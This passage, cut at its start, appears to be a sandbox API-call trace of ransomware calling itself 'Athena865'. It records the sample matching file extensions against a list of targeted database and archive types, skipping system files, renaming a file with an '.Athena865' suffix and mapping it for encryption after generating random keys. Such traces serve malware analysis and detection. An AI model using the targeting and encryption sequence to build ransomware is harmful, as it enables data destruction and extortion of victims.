lpString2="fol") returned -1 [0109.440] lstrlenW (lpString="fp3") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0109.440] lstrlenW (lpString="fp4") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0109.441] lstrlenW (lpString="fp5") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0109.441] lstrlenW (lpString="fp7") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0109.441] lstrlenW (lpString="fpt") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0109.441] lstrlenW (lpString="frm") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0109.441] lstrlenW (lpString="gdb") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.441] lstrlenW (lpString="gdb") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.441] lstrlenW (lpString="grdb") returned 4 [0109.441] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0109.441] lstrlenW (lpString="gwi") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0109.441] lstrlenW (lpString="hdb") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0109.441] lstrlenW (lpString="his") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0109.441] lstrlenW (lpString="ib") returned 2 [0109.441] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0109.441] lstrlenW (lpString="idb") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0109.441] lstrlenW (lpString="ihx") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0109.441] lstrlenW (lpString="itdb") returned 4 [0109.441] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0109.441] lstrlenW (lpString="itw") returned 3 [0109.441] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0109.441] lstrlenW (lpString="jet") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0109.442] lstrlenW (lpString="jtx") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0109.442] lstrlenW (lpString="kdb") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0109.442] lstrlenW (lpString="kexi") returned 4 [0109.442] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0109.442] lstrlenW (lpString="kexic") returned 5 [0109.442] lstrcmpiW (lpString1="h.dat", lpString2="kexic") returned -1 [0109.442] lstrlenW (lpString="kexis") returned 5 [0109.442] lstrcmpiW (lpString1="h.dat", lpString2="kexis") returned -1 [0109.442] lstrlenW (lpString="lgc") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0109.442] lstrlenW (lpString="lwx") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0109.442] lstrlenW (lpString="maf") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0109.442] lstrlenW (lpString="maq") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0109.442] lstrlenW (lpString="mar") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0109.442] lstrlenW (lpString="marshal") returned 7 [0109.442] lstrcmpiW (lpString1="ash.dat", lpString2="marshal") returned -1 [0109.442] lstrlenW (lpString="mas") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0109.442] lstrlenW (lpString="mav") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0109.442] lstrlenW (lpString="maw") returned 3 [0109.442] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0109.442] lstrlenW (lpString="mdbhtml") returned 7 [0109.442] lstrcmpiW (lpString1="ash.dat", lpString2="mdbhtml") returned -1 [0109.443] lstrlenW (lpString="mdn") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0109.443] lstrlenW (lpString="mdt") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0109.443] lstrlenW (lpString="mfd") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0109.443] lstrlenW (lpString="mpd") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0109.443] lstrlenW (lpString="mrg") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0109.443] lstrlenW (lpString="mud") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0109.443] lstrlenW (lpString="mwb") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0109.443] lstrlenW (lpString="myd") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0109.443] lstrlenW (lpString="ndf") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0109.443] lstrlenW (lpString="nnt") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0109.443] lstrlenW (lpString="nrmlib") returned 6 [0109.443] lstrcmpiW (lpString1="sh.dat", lpString2="nrmlib") returned 1 [0109.443] lstrlenW (lpString="ns2") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0109.443] lstrlenW (lpString="ns3") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0109.443] lstrlenW (lpString="ns4") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0109.443] lstrlenW (lpString="nsf") returned 3 [0109.443] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0109.443] lstrlenW (lpString="nv") returned 2 [0109.444] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0109.444] lstrlenW (lpString="nv2") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0109.444] lstrlenW (lpString="nwdb") returned 4 [0109.444] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0109.444] lstrlenW (lpString="nyf") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0109.444] lstrlenW (lpString="odb") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.444] lstrlenW (lpString="odb") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.444] lstrlenW (lpString="oqy") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0109.444] lstrlenW (lpString="ora") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0109.444] lstrlenW (lpString="orx") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0109.444] lstrlenW (lpString="owc") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0109.444] lstrlenW (lpString="p96") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0109.444] lstrlenW (lpString="p97") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0109.444] lstrlenW (lpString="pan") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0109.444] lstrlenW (lpString="pdb") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0109.444] lstrlenW (lpString="pdm") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0109.444] lstrlenW (lpString="pnz") returned 3 [0109.444] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0109.445] lstrlenW (lpString="qry") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0109.445] lstrlenW (lpString="qvd") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0109.445] lstrlenW (lpString="rbf") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0109.445] lstrlenW (lpString="rctd") returned 4 [0109.445] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0109.445] lstrlenW (lpString="rod") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0109.445] lstrlenW (lpString="rodx") returned 4 [0109.445] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0109.445] lstrlenW (lpString="rpd") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0109.445] lstrlenW (lpString="rsd") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0109.445] lstrlenW (lpString="sas7bdat") returned 8 [0109.445] lstrcmpiW (lpString1="sash.dat", lpString2="sas7bdat") returned 1 [0109.445] lstrlenW (lpString="sbf") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0109.445] lstrlenW (lpString="scx") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0109.445] lstrlenW (lpString="sdb") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0109.445] lstrlenW (lpString="sdc") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0109.445] lstrlenW (lpString="sdf") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0109.445] lstrlenW (lpString="sis") returned 3 [0109.445] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0109.445] lstrlenW (lpString="spq") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0109.446] lstrlenW (lpString="te") returned 2 [0109.446] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0109.446] lstrlenW (lpString="teacher") returned 7 [0109.446] lstrcmpiW (lpString1="ash.dat", lpString2="teacher") returned -1 [0109.446] lstrlenW (lpString="tmd") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0109.446] lstrlenW (lpString="tps") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0109.446] lstrlenW (lpString="trc") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.446] lstrlenW (lpString="trc") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.446] lstrlenW (lpString="trm") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0109.446] lstrlenW (lpString="udb") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0109.446] lstrlenW (lpString="udl") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0109.446] lstrlenW (lpString="usr") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0109.446] lstrlenW (lpString="v12") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0109.446] lstrlenW (lpString="vis") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0109.446] lstrlenW (lpString="vpd") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0109.446] lstrlenW (lpString="vvv") returned 3 [0109.446] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0109.446] lstrlenW (lpString="wdb") returned 3 [0109.447] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0109.447] lstrlenW (lpString="wmdb") returned 4 [0109.447] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0109.447] lstrlenW (lpString="wrk") returned 3 [0109.447] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0109.447] lstrlenW (lpString="xdb") returned 3 [0109.447] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0109.447] lstrlenW (lpString="xld") returned 3 [0109.447] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0109.447] lstrlenW (lpString="xmlff") returned 5 [0109.447] lstrcmpiW (lpString1="h.dat", lpString2="xmlff") returned -1 [0109.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.Athena865") returned 73 [0109.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.athena865"), dwFlags=0x1) returned 1 [0109.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.449] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4120784) returned 1 [0109.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.449] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.450] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.450] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.450] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee3d0, lpName=0x0) returned 0x17c [0109.452] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1ee3d0) returned 0x2d50000 [0109.524] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0109.589] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0109.617] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.618] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.618] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.619] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.636] CloseHandle (hObject=0x17c) returned 1 [0109.636] CloseHandle (hObject=0x154) returned 1 [0109.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.655] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="..") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="windows") returned -1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootmgr") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="temp") returned -1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="pagefile.sys") returned -1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="boot") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ids.txt") returned 1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ntuser.dat") returned -1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="perflogs") returned -1 [0109.655] lstrcmpiW (lpString1="InkDiv.dll", lpString2="MSBuild") returned -1 [0109.656] lstrlenW (lpString="InkDiv.dll") returned 10 [0109.656] lstrcpyW (in: lpString1=0x241e8ae, lpString2="InkDiv.dll" | out: lpString1="InkDiv.dll") returned="InkDiv.dll" [0109.656] lstrlenW (lpString="InkDiv.dll") returned 10 [0109.656] lstrlenW (lpString="Athena865") returned 9 [0109.656] lstrcmpiW (lpString1="nkDiv.dll", lpString2="Athena865") returned 1 [0109.656] lstrlenW (lpString=".dll") returned 4 [0109.656] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".dll") returned 1 [0109.656] lstrlenW (lpString=".lnk") returned 4 [0109.656] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".lnk") returned 1 [0109.656] lstrlenW (lpString=".ini") returned 4 [0109.656] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".ini") returned 1 [0109.656] lstrlenW (lpString=".sys") returned 4 [0109.656] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".sys") returned 1 [0109.656] lstrlenW (lpString="InkDiv.dll") returned 10 [0109.656] lstrlenW (lpString="bak") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0109.656] lstrlenW (lpString="ba_") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0109.656] lstrlenW (lpString="dbb") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0109.656] lstrlenW (lpString="vmdk") returned 4 [0109.656] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0109.656] lstrlenW (lpString="rar") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0109.656] lstrlenW (lpString="zip") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0109.656] lstrlenW (lpString="tgz") returned 3 [0109.656] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0109.656] lstrlenW (lpString="vbox") returned 4 [0109.657] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0109.657] lstrlenW (lpString="vdi") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0109.657] lstrlenW (lpString="vhd") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0109.657] lstrlenW (lpString="vhdx") returned 4 [0109.657] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0109.657] lstrlenW (lpString="avhd") returned 4 [0109.657] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0109.657] lstrlenW (lpString="db") returned 2 [0109.657] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0109.657] lstrlenW (lpString="db2") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0109.657] lstrlenW (lpString="db3") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0109.657] lstrlenW (lpString="dbf") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0109.657] lstrlenW (lpString="mdf") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0109.657] lstrlenW (lpString="mdb") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0109.657] lstrlenW (lpString="sql") returned 3 [0109.657] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0109.657] lstrlenW (lpString="sqlite") returned 6 [0109.657] lstrcmpiW (lpString1="iv.dll", lpString2="sqlite") returned -1 [0109.657] lstrlenW (lpString="sqlite3") returned 7 [0109.657] lstrcmpiW (lpString1="Div.dll", lpString2="sqlite3") returned -1 [0109.657] lstrlenW (lpString="sqlitedb") returned 8 [0109.657] lstrcmpiW (lpString1="kDiv.dll", lpString2="sqlitedb") returned -1 [0109.658] lstrlenW (lpString="xml") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0109.658] lstrlenW (lpString="$er") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0109.658] lstrlenW (lpString="4dd") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0109.658] lstrlenW (lpString="4dl") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0109.658] lstrlenW (lpString="^^^") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0109.658] lstrlenW (lpString="abs") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0109.658] lstrlenW (lpString="abx") returned 3 [0109.658] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0109.658] lstrlenW (lpString="accdb") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accdb") returned 1 [0109.658] lstrlenW (lpString="accdc") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accdc") returned 1 [0109.658] lstrlenW (lpString="accde") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accde") returned 1 [0109.658] lstrlenW (lpString="accdr") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accdr") returned 1 [0109.658] lstrlenW (lpString="accdt") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accdt") returned 1 [0109.658] lstrlenW (lpString="accdw") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accdw") returned 1 [0109.658] lstrlenW (lpString="accft") returned 5 [0109.658] lstrcmpiW (lpString1="v.dll", lpString2="accft") returned 1 [0109.659] lstrlenW (lpString="adb") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0109.659] lstrlenW (lpString="adb") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0109.659] lstrlenW (lpString="ade") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0109.659] lstrlenW (lpString="adf") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0109.659] lstrlenW (lpString="adn") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0109.659] lstrlenW (lpString="adp") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0109.659] lstrlenW (lpString="alf") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0109.659] lstrlenW (lpString="ask") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0109.659] lstrlenW (lpString="btr") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0109.659] lstrlenW (lpString="cat") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0109.659] lstrlenW (lpString="cdb") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0109.659] lstrlenW (lpString="ckp") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0109.659] lstrlenW (lpString="cma") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0109.659] lstrlenW (lpString="cpd") returned 3 [0109.659] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0109.659] lstrlenW (lpString="dacpac") returned 6 [0109.660] lstrcmpiW (lpString1="iv.dll", lpString2="dacpac") returned 1 [0109.660] lstrlenW (lpString="dad") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0109.660] lstrlenW (lpString="dadiagrams") returned 10 [0109.660] lstrlenW (lpString="daschema") returned 8 [0109.660] lstrcmpiW (lpString1="kDiv.dll", lpString2="daschema") returned 1 [0109.660] lstrlenW (lpString="db-journal") returned 10 [0109.660] lstrlenW (lpString="db-shm") returned 6 [0109.660] lstrcmpiW (lpString1="iv.dll", lpString2="db-shm") returned 1 [0109.660] lstrlenW (lpString="db-wal") returned 6 [0109.660] lstrcmpiW (lpString1="iv.dll", lpString2="db-wal") returned 1 [0109.660] lstrlenW (lpString="dbc") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0109.660] lstrlenW (lpString="dbs") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0109.660] lstrlenW (lpString="dbt") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0109.660] lstrlenW (lpString="dbv") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0109.660] lstrlenW (lpString="dbx") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0109.660] lstrlenW (lpString="dcb") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0109.660] lstrlenW (lpString="dct") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0109.660] lstrlenW (lpString="dcx") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0109.660] lstrlenW (lpString="ddl") returned 3 [0109.660] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0109.660] lstrlenW (lpString="dlis") returned 4 [0109.661] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0109.661] lstrlenW (lpString="dp1") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0109.661] lstrlenW (lpString="dqy") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0109.661] lstrlenW (lpString="dsk") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0109.661] lstrlenW (lpString="dsn") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0109.661] lstrlenW (lpString="dtsx") returned 4 [0109.661] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0109.661] lstrlenW (lpString="dxl") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0109.661] lstrlenW (lpString="eco") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0109.661] lstrlenW (lpString="ecx") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0109.661] lstrlenW (lpString="edb") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0109.661] lstrlenW (lpString="epim") returned 4 [0109.661] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0109.661] lstrlenW (lpString="fcd") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 